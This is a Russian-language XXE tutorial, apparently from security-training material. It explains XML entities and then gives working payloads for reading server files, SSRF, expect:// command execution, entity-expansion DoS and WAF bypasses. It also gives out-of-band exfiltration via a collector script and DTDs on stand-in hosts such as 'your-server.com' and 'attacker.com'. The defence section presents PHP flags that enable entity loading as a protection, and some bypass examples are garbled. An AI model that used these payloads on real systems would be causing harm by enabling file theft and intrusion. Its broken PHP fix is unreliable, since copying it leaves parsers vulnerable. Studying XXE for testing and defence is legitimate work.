XXE (XML External Entity) — это уязвимость, которая позволяет атакующему взаимодействовать с обработкой XML-данных приложением. Атака часто позволяет читать файлы на сервере, взаимодействовать с внутренними системами и в некоторых случаях выполнять SSRF-атаки.
XML (eXtensible Markup Language) — расширяемый язык разметки, предназначенный для передачи и хранения данных. Основные особенности:
- Не имеет фиксированного словаря (в отличие от HTML)
- Не зависит от языка программирования
- Имеет текстовый формат
- Широко используется в веб-сервисах, конфигурационных файлах
Основы XML
Структура XML-документа
Базовый XML-документ начинается с объявления:
<?xml version="1.0"?>
<greeting>Hello, world!</greeting>
С указанием кодировки:
<?xml version="1.0" encoding="UTF-8"?>
<greeting>Hello, world!</greeting>
Атрибут standalone
Атрибут standalone определяет, может ли документ использовать внешние определения:
yes— запрещает подключение внешних описанийno— разрешает подключение внешних описаний
<?xml version="1.0" standalone="no"?>
<!DOCTYPE note [<!ENTITY user "Вася">]>
<note>
<to>&user;</to>
<from>Света</from>
<heading>Напоминание</heading>
<body>Позвони мне завтра!</body>
</note>
Сущности в XML
Типы сущностей
1. General Entity (Обычные сущности)
Предопределённые сущности для специальных символов:
<— меньше (<)>— больше (>)&— амперсанд (&)'— одинарная кавычка (')"— двойная кавычка (")
Пользовательские сущности:
<!ENTITY имя_сущности "значение">
2. Internal Entity (Внутренние сущности)
Определяются внутри документа:
<!DOCTYPE note [
<!ENTITY company "Codeby School">
]>
<note>
<text>&company;</text>
</note>
3. External Entity (Внешние сущности)
Подгружают данные из внешних источников:
<!-- Из файловой системы -->
<!ENTITY test SYSTEM "file:///etc/passwd">
<!-- Linux -->
<!ENTITY test SYSTEM "file:///filename">
<!-- Windows -->
<!ENTITY test SYSTEM "file:///C:\filename">
<!-- С удалённого сервера -->
<!ENTITY test SYSTEM "http://example.com/payload.xml">
4. Parameter Entity (Параметрические сущности)
Используются для подключения других сущностей:
<!DOCTYPE note [
<!ENTITY % entities SYSTEM "entities.dtd">
%entities;
]>
Что такое XXE
XXE (XML External Entity) — атака, основанная на обработке XML-парсером внешних сущностей, определённых в DTD (Document Type Definition).
Базовый пример эксплуатации
1. Чтение локальных файлов:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
2. Чтение файлов с кодированием (для файлов с HTML/XML):
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<root>
<data>&xxe;</data>
</root>
3. SSRF (Server-Side Request Forgery):
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://internal-service:8080/admin">
]>
<root>
<data>&xxe;</data>
</root>
Практический пример
Создание уязвимого PHP-парсера:
<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
if($_SERVER['REQUEST_METHOD'] == "POST"){
$post = file_get_contents("php://input");
$xml = new DOMDocument();
$xml->loadXML($post, LIBXML_NOENT | LIBXML_DTDLOAD);
$root = $xml->getElementsByTagName('title')->item(0);
echo $root->textContent;
} else {
echo "Send XML in POST";
}
?>
Запуск сервера:
sudo apt-get install php-dom # установка расширения DOM
sudo service apache2 start
Эксплуатация:
Отправка POST-запроса с XML:
POST / HTTP/1.1
Host: localhost
Content-Type: application/xml
Content-Length: 150
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<title>&xxe;</title>
Возможности эксплуатации XXE
1. Чтение локальных файлов
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
2. Remote Code Execution (RCE)
Через протокол expect:// (требует модуль PHP expect):
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "expect://command">
]>
3. Denial of Service (DoS)
Billion Laughs Attack:
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<root>&lol3;</root>
Чтение бесконечного файла:
<!DOCTYPE dos [
<!ENTITY xxe SYSTEM "file:///dev/random">
]>
XXE Out-Of-Band
Техника используется когда XML-парсер не выводит содержимое напрямую.
Этап 1: Создание принимающего скрипта
script.php на вашем сервере:
<?php
$data = $_GET['xxe'];
$file = fopen("result.txt", 'w');
fwrite($file, $data);
fclose($file);
?>
Этап 2: Создание полезной нагрузки
payload.dtd на вашем сервере:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://your-server.com/script.php?xxe=%file;'>">
%eval;
%exfiltrate;
Этап 3: Отправка запроса
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://your-server.com/payload.dtd">
%dtd;
]>
<root></root>
Альтернативный метод (всё в одном запросе)
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % dtd "<!ENTITY % send SYSTEM 'http://your-server.com/script.php?xxe=%file;'>">
%dtd;
%send;
]>
<root></root>
Где искать XXE
1. Прямая загрузка XML-файлов
Приложение принимает XML-файлы для импорта данных, конфигурации и т.д.
Пример:
- Импорт данных в CMS
- Загрузка конфигураций
- Импорт/экспорт в офисных приложениях (DOCX, XLSX, PPTX — основаны на XML)
2. SOAP (Simple Object Access Protocol)
SOAP использует XML для обмена сообщениями.
Пример SOAP-запроса:
<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getProductDetails xmlns="http://warehouse.example.com/ws">
<productID>1337</productID>
</getProductDetails>
</soap:Body>
</soap:Envelope>
Эксплуатация:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getProductDetails xmlns="http://warehouse.example.com/ws">
<productID>&xxe;</productID>
</getProductDetails>
</soap:Body>
</soap:Envelope>
3. SAML (Security Assertion Markup Language)
SAML используется для аутентификации и авторизации.
Пример SAML:
<saml:AttributeStatement>
<saml:Attribute Name="username">
<saml:AttributeValue>user101</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
Поиск уязвимости:
- Перехватить SAML-запрос при авторизации
- Найти параметр
SAMLResponse(обычно в base64) - Декодировать и проверить на XXE
4. Манипуляции с Content-Type
Некоторые API принимают как JSON, так и XML. Можно попробовать изменить Content-Type.
JSON-запрос:
POST /api/user HTTP/1.1
Host: example.com
Content-Type: application/json
{"username":"admin","password":"123"}
Преобразование в XML:
POST /api/user HTTP/1.1
Host: example.com
Content-Type: application/xml
<?xml version="1.0"?>
<root>
<username>admin</username>
<password>123</password>
</root>
XXE-эксплуатация:
POST /api/user HTTP/1.1
Host: example.com
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<username>&xxe;</username>
<password>123</password>
</root>
5. Офисные форматы
Современные офисные форматы основаны на XML:
- .docx — Word
- .xlsx — Excel
- .pptx — PowerPoint
- .svg — векторная графика
Пример эксплуатации через SVG:
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
Обход WAF
1. Замена фильтрующихся слов
Если SYSTEM заблокирован, используйте PUBLIC:
<!ENTITY xxe PUBLIC "any_text" "file:///etc/passwd">
2. Смена кодировки
UTF-16 часто пропускается WAF:
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
3. Искажение XML
Добавление спецсимволов:
<!DOCTYPE :. SYSTEM "http://example.com">
<!DOCTYPE :_-_: SYSTEM "http://example.com">
Hex-кодирование:
<!DOCTYPE dfbf SYSTEM "http://example.com">
4. Character Reference
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
5. Параметрические сущности
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
Защита от XXE
1. Отключение внешних сущностей
PHP:
libxml_disable_entity_loader(true);
// Или при парсинге:
$xml->loadXML($data, LIBXML_NOENT | LIBXML_DTDLOAD);
Python:
from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
tree = etree.parse(source, parser)
Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
JavaScript (Node.js):
// Используйте безопасные парсеры
const libxmljs = require("libxmljs");
const xml = libxmljs.parseXml(xmlString, { noent: false, dtdload: false });
2. Валидация входных данных
- Используйте белый список разрешённых элементов
- Проверяйте структуру XML
- Ограничивайте размер XML-документов
3. Используйте простые форматы данных
Когда возможно, используйте JSON вместо XML.
4. Обновление библиотек
Регулярно обновляйте XML-парсеры и библиотеки.
Полезные ресурсы
- OWASP XXE: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
- PortSwigger XXE: https://portswigger.net/web-security/xxe
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
Заключение
XXE — серьёзная уязвимость, которая может привести к:
- Чтению конфиденциальных файлов
- SSRF-атакам на внутренние сервисы
- Отказу в обслуживании (DoS)
- В редких случаях — к удалённому выполнению кода (RCE)
Ключевые моменты:
- XML широко используется в веб-приложениях, API, офисных форматах
- Многие разработчики не знают об опасности внешних сущностей
- Всегда тестируйте XML-обработку на предмет XXE
- Используйте Out-Of-Band техники когда прямой вывод недоступен
- Обходы WAF возможны через кодирование и альтернативные синтаксисы
Практические советы для тестирования:
- Начинайте с простых payload'ов
- Используйте Burp Suite для перехвата и модификации запросов
- Проверяйте все входные точки, принимающие XML
- Тестируйте Content-Type манипуляции
- Не забывайте про офисные форматы и SVG